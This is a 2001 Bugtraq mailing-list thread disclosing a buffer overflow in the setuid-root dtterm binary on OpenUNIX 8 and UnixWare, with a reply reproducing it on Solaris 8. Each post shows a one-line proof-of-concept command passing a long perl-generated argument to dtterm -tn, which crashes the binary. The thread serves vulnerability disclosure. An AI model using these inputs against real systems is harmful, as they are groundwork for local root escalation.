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Re: OpenUNIX 8 & Unixware possible local root


From: KF <dotslash () snosoft com>
Date: Wed, 03 Oct 2001 13:01:00 -0400

You guys should check ALL the dt suid / sgid against command line
HOME and TERM overflows ... as stated prior I have made ALL dt binarys
that 
are sgid / suid core on OpenUnix8 except dtmail which already had issues
I believe. 
-KF 


"Cushing, David" wrote:

I was able to reproduce this on a Solaris 8 sparc machine with different
tolerances:

[288] uname -a
SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60
[289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'`
Segmentation Fault(coredump)
[297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'`
Bus Error(coredump)
ginger:dcushing[298]

-David

-----Original Message-----
From: Aycan Irican [mailto:aycan () mars prosoft com tr]
Sent: Tuesday, October 02, 2001 1:55 AM
To: bugtraq () securityfocus com
Cc: evrim () envy com tr
Subject: OpenUNIX 8 & Unixware possible local root


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Another dt series bug...

$ uname -a
OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5
$ id
uid=101(fixxxer) gid=1(other)
$ ls -al /usr/dt/bin/dtterm
- -r-sr-xr-x 1 root bin 60892 Haz 10 05:03
/usr/dt/bin/dtterm
$ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'`
Warning: Missing charsets in String to FontSet conversion
Warning: Missing charsets in String to FontSet conversion
Memory fault
.. snip ..


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